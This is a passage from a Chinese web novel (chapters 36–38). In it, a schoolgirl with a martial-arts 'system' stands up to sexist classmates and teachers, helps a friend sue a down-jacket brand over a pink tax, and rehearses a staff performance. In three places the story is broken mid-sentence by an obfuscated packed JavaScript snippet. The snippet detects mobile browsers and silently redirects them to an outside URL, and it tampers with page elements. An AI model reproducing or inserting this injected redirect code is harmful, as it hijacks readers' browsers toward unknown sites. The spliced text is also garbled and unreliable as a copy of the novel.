周建康也知道自己闯大祸，两腿发软，竟然吓得瘫坐在地上，语无伦次：“不……不是我！我不是故意的！我哪知道他一推就倒……” 没有人在意他。 大家都害怕男老师死在教室里。 “皓月，你立刻打电话给我们的班主任！”陆晨曦将自己的手机递给晏北回，“我手机里有校医的手机号，快点，立刻叫校医来我们班上！” 她学过急救知识，蹲下来寻找男老师的出血点，为他按压止血，不忘询问同学：“谁有绷带和止血药？” 还真有人拿出绷带和药，急忙递给陆晨曦。 “他会不会……死？”同学们很担心。 “应该不会吧？”陆晨曦随口安慰，“尽人事，听天命。” 崔皓月还处在武道家技能生效时间里，武道家的经验包括伤势处理，她看到陆晨曦的手微微发抖，并没有表面那么镇定，便推了推好朋友：“我来。” 对上崔皓月平静的眼睛，陆晨曦愣了愣，没问好朋友为何会急救，退后让开。 班里的同学、邻班的同学都在看。 她解释男老师的受伤过程，让大家别堵在教室门口。 由于张浩文殴打黄鑫，截图里张浩文的恶毒发言没有在投影仪上公开，陆晨曦也没有心情公开，上讲台关投影仪。 男老师醒来了，人还傻傻的：“我、我会死吗？” 崔皓月懒得理会他。 这家伙不是有责任感的老师，她讨厌他。 不多时，校医赶来带走男老师，别的老师也来维持秩序。 大家照常早读、跑步锻炼。 上午有一堂语文课，班主任陈若龙走进教室，脸色特别难看。 她属实想不到班上会发生那么严重的事，先是两个男同学斗殴，然后第三个男同学搞得男老师摔破头住进医院，之前还发生了李金元潜入女生宿舍泼硫酸的案件…… 这个学期到底怎么了？ 开学第一个月还没过完呢，事情便一桩接着一桩！ 做老师，尤其是班主任，真的会短命。 今天的学生们一个比一个乖，都在偷偷地瞄她。 陆晨曦举起手来，得到她的颔首，才站起来询问：“老师，那个男老师还好吧？” 想起陆晨曦及时做急救，维持班级秩序，陈若龙的脸色好了一点，说：“伤口要缝几针，有点脑震荡，大约要在医院住几天。” 没有性命之危。 同学们都松了口气，万一教室里真的死了人，以后还怎么上课学习？ 想到男老师受伤是周建康造成的，大家偷偷看向周建康，发现他不见了，免不得交头接耳几句。 陆晨曦又问：“张浩文和黄鑫呢？” 陈若龙说：“周建康请假了，他家长带他去医院探望那个男老师。张浩文和黄鑫都在医院，一个要缝针，一个骨头裂了，总之伤得不轻，你们千万不要打架！” 正常人谁会打架？大家齐声说不会打。 陆晨曦坐下了。 赵宏欲言又止，摸了摸肿起的脸，恨陆晨曦小气，出手太重。 同样挨打的秦飞哲举手，用力挥动，喊道：“老师！老师！” 陈若龙瞟了他一眼，允许他起来说话。 “老师！崔皓月和陆晨曦打我！”秦飞哲指着脸上的两个巴掌印说，“她俩校园霸凌！周建康和赵宏也被霸凌了！” “你先坐下。” “老师！”秦飞哲委屈。 “坐！” 在陈若龙严厉的注视下，秦飞哲坐回位置上，心不甘情不愿。 陈若龙打开投影仪，将□□聊天截图展示在投影屏幕上，气得浑身发抖：“看看这些话！秦飞哲！赵宏！周建康！张浩文！张大眼睛看看你们说的这些话！这是人能说出来的吗？思想政治白学了？” 批评了截图里的聊天内容，陈若龙将赵宏和秦飞哲狠狠地训斥了一顿， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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讲台上不好施展拳脚，陆晨曦来到教室后方的空地，自信地露了两手，引得三班同学齐齐发出尖叫。 “好帅！” “真的是武功哎！” 陆晨曦朝大家做了个飞吻，笑着说：“要晚读了，拜拜~” 她从后门出去，邻班的同学正在走廊上看三班热闹，见了她便热情地招呼：“陆晨曦，也来我们班上露两手！” “有空再说，要晚读呢，今晚是我家班主任巡逻！” 陆晨曦笑盈盈地摆手，迅速溜走。 烦心事解决了，陆晨曦的心情特别好，洗澡都开心得唱歌。 由于班上的同学给自己面子，没有在她收拾贱男生的时候捣乱，她相当大方地请全班同学喝奶茶，女生额外得到苹果一个。 富婆请客，晏北回不客气地点了最贵的奶茶，撺掇崔皓月也点最贵的。 最贵的奶茶二十多块钱，崔皓月没喝过。 陆晨曦愿意请，她便也点了一杯来喝，感觉是比便宜奶茶好喝。 “区区奶茶算什么，放假了我请你们去饮早茶，去游乐园玩！”陆晨曦说，“本来我只想骂那几个贱/男两句，可是你们那么支持我，不报复他们一下我觉得心里过意不去。” “还得是皓月。”晏北回伸手搭上崔皓月的肩膀，亲昵地摇了摇她，“你简直帅死了！打秦飞哲那两巴掌超爽快的！” 崔皓月羞涩地笑了笑：“他说话太难听了。” …… 男老师在医院里躺了一周，回学校了。 没多久，周建康也一瘸一拐地回来，垂头丧气，没精打采。听说他爸赔了男老师一大笔医药费，气得差点跟他断绝父子关系，他走路一瘸一拐便是他爸打的，脚上老大一块淤青。 张浩文被记过处分，黄鑫也一样，两人回到学校后互不搭理，也没有同学搭理他们俩。 崔皓月帮助陆晨曦解决在群聊里侮辱她的臭男生，被系统奖励了50积分。她觉得她应该选择选项三的，毕竟四个臭男生就一个张浩文没被她动手教训，只要她抢先动手，黄鑫怎么跟张浩文扭打起来？ 至于李金元，他已经成年了，学校不要他，法律严惩他，他得进牢里蹲三年。 36.他的心都变冷了 在周一的升旗仪式上，学校宣布了对李金元、张浩文、黄鑫的处理。到了周五下午，警方来学校进行安全知识教育讲座，全校参与。 但学校没有公开批评赵宏、秦飞哲在聊天群的发言。 陆晨曦说，得亏班主任陈若龙是女性，而且是负责任的老师，赵宏二人才会得到较为严厉的惩罚。 崔皓月也意识到了这点。 因为她和晏北回一起上厕所的时候，被邻班的男老师拦住。 对方摆出谆谆善诱的师长姿态，教育她们做女孩要温柔体贴大方，要对男生多点宽容。说男生没有女生早熟，冲动之下会说一些不恰当的话，让她们理解，别斤斤计较，甚至产生报复心理。 那男老师还说，动辄采用暴力的女孩不讨人喜欢，想谈恋爱没有男生会愿意，将来想结婚也没有男人看得上云云。 反正就是指责她们，要她们反思。 晏北回一听便露出厌烦之色，碍于说教的人是一位老师，直接走人有点不太礼貌，她忍着不耐让他说完。 随你说，我爱听不听，这是她习惯的应付方式。 她漫不经心地看向围墙外蓬勃生长的月季，一边捏着同桌的手，心想：这次课间休息剩余的时间足够上厕所吗？邻班同学知道他们的老师这么讨厌吗？ 在崔皓月看来，自己作为学生，接受老师的教导是理所当然之事。 所以，男老师讲，她认真听，期待对方传授做人的宝贵经验。 可是，这个男老师说的是什么玩意？ 崔皓月想起摔破头那个男老师，当她被张浩文追杀，求助他主持公道时，他要她向张浩文道歉，理由是她扇了张浩文一巴掌。 虽然他也要求张浩文道歉，但她可以感觉到他对张浩文的偏袒。 正如今天这个男老师，他也说男生们讲的话有错，但他话里话外无不透露着对男生们的偏袒。 男老师都是这个样子的吗？ 没用的话没必要听，崔皓月打断男老师：“你有去三班教育过赵宏和秦飞哲吗？” 男老师不高兴地看着她：“你在别人说话的时候插嘴，会让你显得没礼貌。” 崔皓月直视他，问道：“去过吗？” 她的态度让男老师更不高兴，这个女学生一点都不听话，也不礼貌。 他想训斥她几句，可他忽然想到，这个女学生会打人，据说还学过武术。虽然他不知道传闻是真是假，此时他看着她乌黑明亮的眼珠，忽然觉得形势有点不妙。 若是惹恼她，他说不定会变成第一个被她打的老师！ 想到这里，男老师不由得小心谨慎起来，老实回答她的提问：“我遇到他们，肯定要跟他们讲几句。” “遇不到就不会讲。”崔皓月翻译了他的话。 “咳咳，我毕竟不教三班。”男老师不想聊下去，想离开。 “那你做事很不公平。”崔皓月挡住男老师的去路，“你训了我们，怎能落下他们？事情是他们挑起的，他们有错在先！现在我们去三班找他们吧，老师，我要听你教育他们。” 哎！这个女学生怎么这么咄咄逼人！ 男老师板着脸说：“我会去三班教育他们，现在不行，现在我有别的事情要做。” 崔皓月问他：“什么事？很急吗？不能延后吗？你有空教育我，想来别的事是不急的，我们先去三班找赵宏他们。” 啊！这个女学生知道她这么讨人厌吗？ 男老师无奈地说：“要上课了！” 从崔皓月发言开始，晏北回的注意力便转移到好朋友和男老师身上。 瞧着男老师从拦住她们啰里啰嗦，发展到男老师被好朋友拦住，想走走不掉，晏北回忍不住笑了。 她自然而然地加入好朋友，对男老师说道：“今天周六，全是自习课，老师应该不用上课。” “我是说，你们要上自习课，高考在即，学习可不能耽误。”男老师后悔拦住两个女学生了，有那闲功夫，干点别的难道不好吗？ 崔皓月不是迟钝的人，男老师为难，她略有迟疑，事情要不要就此作罢？ 同桌晏北回并不想作罢，笑着说：“不耽误的，学习固然重要，做人难道不重要吗？你是负责任的老师，总不能厚此薄彼，教育了我们，却不理会赵宏和秦飞哲吧？” 男老师：“……” 他一声不吭，默默地看着逼迫他的两个女学生。 按照一般情况，被他这样看着，对方应该有所收敛。 然而崔皓月和晏北回也在注视他。 崔皓月是会打人的，眼神颇具压迫感。 晏北回直接上手推了推他：“老师还不走？” 男老师到底还是屈服了，被两个女学生胁迫着来到三班，对惹事的赵宏和秦飞哲二人充满怨气，张开嘴巴就是一顿训斥。 惹不起咄咄逼人的两个女学生，他还骂不了害得他处境尴尬的两个男学生？ 赵宏和秦飞哲都是茫然的，莫名其妙地被陌生的男老师训斥，晏北回和崔皓月还帮腔，这男老师收了什么好处，特地跑来三班替她们出头？ 两个人思想龌龊，理所当然地臆想男老师被勾引，一封举报信送到校长办公室，盼望着学校严惩男老师和两个女生。 在网络上，李金元泼硫酸案的热度早就降了，没有几个人关心。 现实中，案件还在持续地产生影响。 学校不希望再有类似的事件发生，导致名声受损。 看到举报信，校领导立刻召开紧急会议，暗中调查男老师，生怕他性/骚/扰学生，使得学校再次上热搜。 投放举报信的意见箱附近藏着一个摄像头，校领导们找到举报信相关录像，发现举报信是男生投的，先松了口气，然后齐齐变了脸色。 男老师骚扰的难道是男生？ 被调查的男老师知道自己被人举报了，不知道举报信写了什么内容，又委屈又生气。 校领导找他聊天，给他看监控录像，他一下子认出举报他的人是秦飞哲。 看他的表情，校领导感觉他不像骚扰男生的人，问他：“你跟这个男学生有什么过节？” 男老师很无辜，他只是训斥了他们一顿，他还做什么了？ 他都是为了他们好啊，结果他们举报了他！ 他的心都变冷了。 老师群里，陈若龙忙着吃瓜。 得知这个教育崔皓月二人的男老师被他维护的秦飞哲举报，她笑得乐不可支，特地跟陆晨曦的妈妈分享：“他本来能评职称的，让举报信搞没了，怕是悔青了肠子。” 陆妈妈百忙中抽出空闲吃一口瓜，笑着说：“他应得的，帮烂人活该被烂人纠缠。” 陈若龙说：“他还挺机灵，故意挑着晨曦不在的时候教育皓月和北回，但皓月不是好欺负的，硬是逼着他去三班教育那两个男的。我猜，以后他估计不敢随随便便教育女生了。” 为何堵住女生教育？ 还不是认为女生好欺负。 都是当老师的，陈若龙瞧不起这种人。 老师的瓜瞒不住学生。 陆晨曦交际广阔，最先知道事情的全貌，乐呵呵地跟两个好朋友分享。 【叮！发现特殊事件！】 【男老师维护男生，结果被男生写信举报，你决定——】 【选项一：劝男老师大度，奖励100积分】 【选项二：嘲笑男老师，奖励50积分】 【选项三：揍男老师一顿，让他见识女生的恶意，奖励200积分】 看了看选项三，再看选项一和二，崔皓月不由得笑了。 这不白送积分吗？ 晏北回笑得肚子疼：“我就知道秦飞哲那人不会善罢甘休。哈哈，举报信写得好，我待会儿得去邻班看看男老师的脸色。” 陆晨曦出主意：“光看不说怎能行？我们得支持一下男老师，劝他去三班，耐心教育秦飞哲和赵宏这两个人！” “哈哈，有点坏，但是好想劝！”晏北回说，“那个男老师要是记恨我们怎么办？” “他不教我们，而且我们很快就会毕业。”崔皓月思索着主意的可行性，“我担心他迁怒我们班主任。” 要不她暗中打男老师一顿？ 想到影视剧中套麻袋揍人的桥段，她有点想试试，毕竟奖励200积分。 “放心吧，他不敢！”陆晨曦傲然说，“班主任跟我妈认识，学校领导都不敢对我们班主任大小声，他一个普通老师哪来的胆子冒犯我们班主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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无疑是逼迫男老师再次去找赵宏和秦飞哲，要求他对举报他的男生多一点宽容，将他膈应到一辈子也忘不了这件事！ 于是，在陆晨曦和晏北回奚落了男老师一番之后，崔皓月说：“老师，赵宏和秦飞哲显然没有仔细听你的教诲，现在我们我们去三班教育他们吧！” 被俩男生写信举报，男老师一点也不想见他们，语气抗拒：“这不必了，三班的班主任会教育他们！” “可是老师你受到了伤害啊！”崔皓月使用【武道家LV2】技能，抓住男老师的手臂，强硬地拽着他走，“老师那么负责任，怎么可以被他们那样对待？男生都比较冲动，老师肯定能体谅他们，肯定能把他们教育成优秀的人！” 男老师挣不脱她，心里来了气：“放开我！” “皓月？”晏北回疑惑，同桌这是要对男老师干什么？ 陆晨曦也不懂，但她知道崔皓月这么做必然有原因，当即凑近男老师，压低声音：“那么多人看，你跟女生在这拉扯，不怕被误会成性/骚/扰学生的垃圾老师？” 男老师顿时浑身一僵，停止挣扎，顺从地去三班见那两个写信举报他的男生。 双方见面，他尴尬，赵宏和秦飞哲也尴尬。 崔皓月三人却是不尴尬，要求赵宏二人道歉，要求男老师体谅，又要求男老师教育赵宏二人，然后劝男老师做老师要温柔体贴大方，要对调皮捣蛋的男学生多点宽容。 事情结束后，崔皓月三人有说有笑地回教室学习，男老师面色阴沉无比。 他狠狠地盯着赵宏和秦飞哲，想说狠话，又怕他们报复，冷冷一哼，快步离开。 【你完成选项一，获得100积分】 崔皓月收到系统提示。 过了几天，晏北回发现邻班调来新老师换掉男老师，问了才知道，男老师连一句告别都没有跟邻班说，调去高一的班级上课了。 三个好朋友聚在一起，晏北回坏笑着猜测：“他是不是怕我们？好想去高一探望他！” “要去吗？”陆晨曦问崔皓月。 “不必。”崔皓月说，“我们跟他没什么好说的，学习更重要。” 晏北回有些失望，提起别的：“校运会你们打算报名什么项目？对了，我看到别的学校有人穿汉服参加开幕式入场，我也想穿！” 37.羽绒服粉红税 校运会往往会和文化节一起举行，将持续三天，白天进行运动比赛，晚上表演节目。 每个班级都要派人参加比赛，还要拿出一个能上台的节目，老师通常把这两件事交给体育委员、文艺委员、班长等班干部负责，顶多动员一下同学积极参与。 与此同时，学校还会展出绘画、手工等艺术作品，非美术生也能自由参与。 原体育委员周建康被撤职，新任体育委员是晏北回，她希望两位好朋友多多参与体育项目：“你们每天晨跑，短跑和长跑靠你们了！” 对崔皓月来说，校运会和文化节都和她无关，她最擅长的莫过于当观众。 但她这次不想做凑热闹的人。 正如晏北回所说，她每天坚持晨跑，难道不能在校运会的跑步项目上拿第一？ 高中最后一次校运会，不妨出一次风头，毕竟错过了以后就没有了。 至于参加开幕式穿什么，崔皓月觉得校服不错：“新衣服要花钱，我目前没有任何收入，能省则省。” “可是，这是高中最后的校运会，我想留个美好的印象。”晏北回在购物软件上搜索汉服，给她看衣服的价钱，“你瞧，衣服也没贵到哪里去。” 崔皓月摇摇头：“我不买，买了不能常穿，不实用。” 劝她劝不动，晏北回放弃这根木头，转而劝说陆晨曦：“你难道不想打扮得美美的参加校运会开幕式？学校会给我们拍照片，以后毕业了也能让学妹学弟见识我们的风采！” 陆晨曦看了看手机里的汉服：“这个款式容易掉，不建议买。” “真的吗？可是这个比别的好看哎！”晏北回悄悄瞅一眼陆晨曦的胸围，特意朝她挺了挺胸，“我穿这个不至于掉吧？” “你可以试试。”经常运动的陆晨曦并不向往大胸，只有小说、动漫才会觉得每个女人都想要大胸，她说出想法，“其实所有汉服我都不建议你买，买了也是留着落灰的废物东西。” “可是汉服漂亮啊，还是我们的传统服饰，我就要穿！”晏北回说，“动漫里的女生总会穿和服，校服也好看，就我们天天穿校服……哎，想买jk裙，洛丽塔服饰也不错，可惜我穷，没钱！” 眼珠一转，她好奇地问陆晨曦：“你难道不喜欢汉服吗？那么仙，那么好看，我小时候可羡慕古装剧女主穿的漂亮衣服了。皓月看电视也不羡慕吗？” “以前喜欢，后来不喜欢。”陆晨曦早就接触过汉服，“好看不实用，穿着难受。” 崔皓月没穿过，不知道穿着难不难受，但她感觉穿汉服没有运动服舒适。电视剧里的古装女主确实穿得美，她也披着床单扮演过古装女主，所以她说：“那是演戏，现代电视剧的女主也穿得很好看，就男的不好看。” 说完她便想起理发店在她洗头时向她推销洗面奶，认为她需要变美，觉得她想变美。 女明星都是美的，男明星为什么可以千奇百怪？ 她又想起跑到高一上课的男老师。 他说女孩要温柔大方，要体贴男生，他怎么不教育男生温柔大方体贴女生？ 还有校领导，共情罪犯李金元，仿佛陆晨曦说话委婉李金元就不会作出泼硫酸的恶行。可李金元就是那样恶毒的一个人，就算他不泼陆晨曦硫酸，以后也会因为别的原因给别人泼硫酸。 崔皓月庆幸自己有能力阻止李金元的恶行。 无论是陆晨曦还是别的女生，李金元都不能伤害她们了，毁容、瞎眼、被所有人提防是他应得的下场。 一个个思绪在脑海中翻涌，崔皓月整理繁多的信息，终于解答了困扰多时的疑惑。 校领导共情李金元、赵宏和秦飞哲共情李金元、男老师们偏袒男生……他们这样做都是出于一个简单的动机：他们性别男。 男生表白女生被拒绝，女生该受教训，免得伤了其它男生的心。 男生被女生打，不管男生有没有错，反正女生必须该训斥，免得其它男生被打。 触类旁通，崔皓月想明白了更多的道理。 校园里，男生们更受师长喜欢。 家庭中，弟弟独占长辈偏爱。 社会上，男明星受到的外貌指责远比女明星少。 从婴儿到成年，从古代到现代，男性一直享受着优待，仿佛世界的主人。 不，他们就是世界的主人。 所以，理应严谨的新闻使用衣着暴/露的女人、低俗的标题吸引读者，面向大众的游戏使用同样的手段吸引玩家。 爸妈爱弟弟不爱她也是这个道理，弟弟被视作家庭的继承人，她是长大了就会嫁出去的外人。 崔皓月有些恍惚。 不爱她的家庭可以离开，对她不平等的世界要怎么面对？ 男老师不可能是最后一个教她做女孩的人。 陆晨曦在男生聊天群里遭受的羞辱她以后也会遇到。 她会不会在别人的一次次冒犯中感到厌烦，产生“算了吧，被说几句又不会怎样，懒得跟他们计较”的想法？ “想什么呢？脸色这么难看。”晏北回注意到她的走神。 崔皓月不知如何述说自己此时的想法，想了想，说：“男生会羡慕古装男主的衣服吗？” 晏北回被难倒，不确定地说：“应该会吧？有些男主穿得挺帅的，我弟弟买衣服也会挑帅气的买，不喜欢老土的款式。” 放下手机，她抱怨：“有件事我可能没跟你们讲过，我妈过年那会不是给我买了一件羽绒服吗？就那件米白色的，你们都见我穿过。” 陆晨曦刷着手机：“怎么了？” 晏北回噘嘴：“我喜欢的我妈不喜欢，她让我买男款羽绒服，说男款更划算！我才不要，我又不是男生，女款明显更适合我，贵点就贵点呗，又不差那个钱。我妈纯粹是吝啬，不舍得给我花钱，她偏心！” 崔皓月有买羽绒服的经验，问：“充绒量一致，女款更贵？” 晏北回眨眨眼，忽然一拍桌子，生气地说：“价格一致，充绒量更少！家人们，奸商割我粉红税了，我居然到现在才反应过来！” 虽然羽绒服花的不是她的钱，可妈妈的钱也是钱啊！ 妈妈都提醒她了，她还傻傻地让奸商割粉红税！ 晏北回懊恼：“我当时就不应该玩手机！” 【叮！发现特殊事件！】 【晏北回买羽绒服遭到商家价格歧视，你决定——】 【选项一：和晏北回一起谴责商家，奖励10积分】 【选项二：陪同晏北回去羽绒服店讨要说法，奖励50积分】 【选项三：帮助晏北回维权，让商家屈服，奖励100积分】 这回选项三没有给出打人建议，崔皓月扫了一眼选项一和选项二，并没有急着选择。 特殊事件没有选择倒计时，她想尝试一下，她不做出选择会发生什么。 “错的不是你。”崔皓月安慰同桌，“你打算维权吗？” “怎么维权？”晏北回正在气头上，恨恨地说，“我得让你们避雷那家店，避雷那个奸商牌子！我还要在网上说，让网友们一起避雷！” 受害者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14504766|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总是要举证。 为了支持晏北回，崔皓月从羽绒服品牌的官网上找到充绒量一致价格不同的图片。 晏北回超有行动力地把图片贴到网上，要求两个好朋友为自己增添热度。 但是，她才发表完帖子就有人回复。 “你们手速这么快？才让你们帮忙你们就来了？” 晏北回点开回复，顿时气到爆炸，招呼两个好朋友看，一边念回复一边骂：“女装设计不要钱？我呸！男装便宜，设计师不要钱！奸商有钱不赚，卖衣服做慈善！晨曦，皓月，快点来帮我骂他！” 两个好朋友明显不够用，她去找舍友、去找女同学：“这个人好过分！肯定是奸商的托！快帮我骂他！粉红税割我们的钱，不骂奸商就会有更多粉红税，我们必须行动起来！” 并非所有女生都愿意帮忙。 晏北回受挫，回来找陆晨曦，抱住她的手臂：“你朋友多，你得帮我！呜呜，我说话都没人听的，还被人嘲笑！呜呜，我需要安慰！” 好朋友受委屈，自有陆晨曦安慰。 不擅长安慰人的崔皓月在好朋友的帖子下维护好朋友的观点。 网友讥讽她多管闲事，她跟网友争辩，越辩越生气，越想顺着网络爬过去，对讲不通道理的网友来一场真人PK。 晏北回看不下去，安慰她：“谁知道上网的是人还是畜生，人话都看不懂，你拉黑他吧。” “好。”崔皓月打算打完最后一段话再拉黑对方，在发送内容的时候才知道不可行，令人讨厌的网友先一步拉黑她，最后一段话发不出去了。 气坏了！ 拳头痒痒的，想打人！ 崔皓月用力握拳。 晏北回连忙问：“怎么了？” 崔皓月讲实话。 晏北回被逗笑了，崔皓月瞪她，她举手投降：“那段话复制粘贴发给我，我帮你骂他！” 好在大部分网友看得懂人话，支持晏北回维权的人很多。 被好朋友求到头上的陆晨曦也没闲着，拉了个群，组织大家对羽绒服商家进行投诉和举报，还把认识的律师朋友邀请进群，请教如何起诉商家价格歧视。 投诉和举报没有让羽绒服商家作出反应，被起诉了，高傲的羽绒服商家才低下头，私信晏北回提出退款，请她撤销起诉。 即便是协商，羽绒服商家也很傲慢，暗示自己有律师团队，不怕晏北回起诉。 晏北回把私信发到三人小群：“我该撤销起诉吗？” 商家往往比消费者更了解法律，起诉商家是一个漫长的过程，商家耗得起，消费者付出的时间和精力怎么算？ 假设自己是晏北回，崔皓月可能会同意协商。 可是，商家态度傲慢，所谓的退款也只是退差价，崔皓月咽不下这口气。 “要求他道歉！更改女装的价格！”陆晨曦同样咽不下这口气，“做不到就法庭上见！如果你坚持起诉，我支持你，我们一起努力！” 维权群里的律师姐姐便是陆晨曦的支持，晏北回眉开眼笑，再无顾虑：“好！我这就告诉他们我的诉求！世界需要较真的人，我得学你们，遇到事情较真到底！” 校运会即将开始，晚会上表演什么节目还没有讨论好。 班会上，同学们各抒己见，不少人希望陆晨曦上台表演钢琴独奏。 这是最简单的。 但崔皓月琢磨着晏北回维权一事，克制住羞怯情绪，勇敢发言：“我们可以表演戏剧，一部消费者向不良商家发起斗争的戏剧，这比弹琴更有意义！” 38.我们是第一！ 戏剧需要写剧本，需要多人参演，若是被选为班级节目，那么上晚会将不再是陆晨曦一个人的事。 去年弹过钢琴的陆晨曦不愿意再弹钢琴。 她是喜欢新奇感觉的人，戏剧这种东西没演过哎，必须演来体验一下！ 在她的支持下，崔皓月极力说服大家演戏剧，晏北回举起双手赞同这个想法，陈若龙知道后也予以鼓励。 于是，班级的晚会节目被定为戏剧，大家积极参与。 时间紧迫，跟同学们商议决定了戏剧的剧情后，崔皓月负责写剧本，陆晨曦修改润色，晏北回在班里寻找演员。 值得高兴的是，剧本确定后，羽绒服商家在网上公开道歉了。 不仅是因为晏北回维权到底的坚决态度，还因为同是该品牌消费者的网友们要求商家开发票、坚持投诉举报商家的行为，第三个原因则是这个羽绒服品牌的竞争对手趁机宣传自己不会搞价格歧视并买了热搜。 斗败资本家，帮忙维权的网友们奚落一番该品牌，满意地离场了。 并没有帮到多少忙的崔皓月拿到系统奖励的100积分，有种系统白送积分的感觉。 无论是陆晨曦教训4个臭男生，还是劝男老师大度，她都起到关键性作用。只有晏北回维权这个事件，她做的很少，陆晨曦才是值得系统奖励100积分的人。 她还是太弱小了，需要向陆晨曦学习。 “皓月。”晏北回注意到她的情绪，“你不为我感到高兴吗？维权可是你最先提出的，现在我们取得了胜利！哈哈，我们共同的胜利！” 晏北回现在非常高兴，挨着同桌说：“虽然我做的很少，考虑也不周全，得你和晨曦给我建议，我才知道怎么维权。可是！我是维权的核心！我也变成你和晨曦这样的人了，不会容忍别人欺负！” 原来同桌也有跟她一样的苦恼，觉得缺少参与感？ 崔皓月眨眨眼，问了出来。 “有点吧，一点点！”晏北回不太愿意承认，“你和晨曦都厉害，我似乎有点太普通……当然，现在不是了！现在我是维权斗士！” 她握拳，做出展示肌肉的动作，表示自己很强。 崔皓月不由得笑，鼓掌说道：“你好，尊敬的维权斗士！” 尽管价格歧视的羽绒服品牌公开道歉了，晏北回并没有撤诉。 她决心跟商家较真到底！ 商家妥协，不代表她愿意妥协。 戏剧也是要演的，晏北回想登台，邀请两个好朋友参演：“这是我们三个人共同参与的事，参演也得我们三个一起来！” 陆晨曦高兴地答应了：“我要演刻薄反派！” 崔皓月犹豫。 【叮！你触发了生活事件】 【面对晏北回的邀请，你决定——】 【选项一：为何不参与？上舞台也是一种难得的体验，获得500元零花钱和书籍《演员的自我修养》】 【选项二：拒绝，获得100元零花钱和书籍《编剧的自我修养》】 【选项三：告诉她，你要上台表演武道，必定艳惊四座，获得1000元零花钱和书籍《武道家入门基础》】 哇！是《武道家入门基础》！ 只有【武道家】技能的崔皓月瞬间心动了，拿到书，她距离真正的武道肯定更近！ 一旦体验过武力的好处，她就无法舍弃武力，她渴望成为真正的武道家。 崔皓月毫不犹豫地选择选项三，对晏北回说：“我要上台表演功夫！” 晏北回惊讶地看着她：“啊？你要表演功夫？你不演戏剧？” 崔皓月认真点头：“学过功夫，当然要表演一下。” 陆晨曦沉思：“可是，我们班只能在晚会上表演一个节目，你真的要表演功夫？我感觉这不像是你会做出的决定。” “人的想法并非一成不变。”崔皓月有个主意，“咱们把剧本改一下，我上台表演功夫吓唬不良商家，就能让戏剧和功夫双全。” “好想法！”晏北回拍手，“剧本你改！功夫表演也是你的事情，要足够帅！哎呀，功夫多吸引人！讲真的，我有点后悔赞同演戏剧。” “戏剧是我们三个人共同的荣耀，功夫只是我自己的。”崔皓月认真地说。 晏北回轻轻笑：“我懂，我只是随便感叹一下……啊，我这嘴，我自己都讨厌。” 把功夫插到戏剧里需要和大家商量，陆晨曦得知崔皓月不了解功夫表演，自告奋勇改剧本，让她上网搜索相关的视频。 【武道家LV2】没有任何武道表演的内容，全是真功夫。 崔皓月看了大量功夫相关视频，决定用棍子表演。 棍子可以做出劈砍、挥舞、横扫、点、刺、戳等动作，在【武道家LV2】中有使用棍子练武、打斗的内容，但表演是否帅气还得让大家评价。 第一次排练，崔皓月用的棍子是没有扫把头的扫把，包裹着大红色的塑料，拿在手里显得有些好笑。 她对武道的理解不足以表演，使用了技能后，整个人的气势就变了。 用陆晨曦的话说，看起来像个武林高手。 排练场景是教室后方空地，崔皓月拿着扫把棍子，回想功夫视频的内容，先哗啦啦地转了几圈手中棍子，然后劈砍、横扫、跳跃…… 每个动作干脆利索，又狠又帅，惹得围观的同学不断鼓掌、喝彩。 陆晨曦骄傲地昂首，与有荣焉。 帅气的崔皓月，是她一辈子的好朋友！ 戏剧节目给功夫的表演时间只有短短四十秒，崔皓月表演了两分多钟，将所有能做的动作都做了。 没有镜子，她不清楚自己表演的功夫是否好看。 根据观众们的反应来看，应该是好看的，还有人拿手机拍视频，被陆晨曦阻止。 “排练内容不能泄露！”陆晨曦说，“上台了再录视频吧。” 那同学讪讪一笑，删掉视频。 “可是真的好好看！”她补充，“皓月太帅了！功夫太厉害了！” 崔皓月停下来，人们用崇拜的目光仰视她，她脸色微红，询问大家：“哪个动作更好看？” “跳起来，棍子向下劈，特别帅！”陆晨曦立刻说，“横扫也帅，有种飘逸感，还很从容，必须上舞台给大伙观赏！” “我最喜欢开局耍棍子的动作，花里胡哨的，高难度，秀！”晏北回说。 大家给出看法，由学过舞蹈的陆晨曦等人把各个耍帅动作串联起来，崔皓月当即表演给大家看。 “哇！更帅气了！” “你是怎么做到这个动作的啊？” “天啊，皓月！我愿称你为现代最强女侠！” “能教我吗？师尊！崔师尊！我好想学你的武功！” 反馈良好，陆晨曦甚至说：“现在你就可以上舞台！根本不用排练！因为你就是高手本身，实力强横！何须扮演高手？” 人们太过热情，崔皓月感觉自己像个大明星，被所有人追捧。 天生受欢迎的陆晨曦平时都是这样的吗？ 难怪她那么自信，身边都是夸赞自己厉害的声音，所见皆是仰慕的目光，崔皓月都有点飘飘然起来。 被最懂艺术的陆晨曦盖章不必表演，崔皓月紧绷的精神放松下来。 为了加深记忆，她重复练习棍法连招。 人们一直在看她练习，根本没有心思演戏剧，就连邻班都有不少人趴在窗外看。 还是陆晨曦招呼大家看剧本念台词表演，大家的关注才转移了一些，但时不时的会有人投来惊叹的眼神。 崔皓月心想，被大众吹捧，真是难得的新奇体验。 她喜欢！ 第二次排练在陆晨曦找的舞蹈室，拥有铺满整面墙的镜子，表演道具也从扫把棍子变成班会费购买的长棍，崔皓月还得到一套洗干净的黑色太极服。 换上太极服拿上棍子，崔皓月站在镜墙前打量自己。 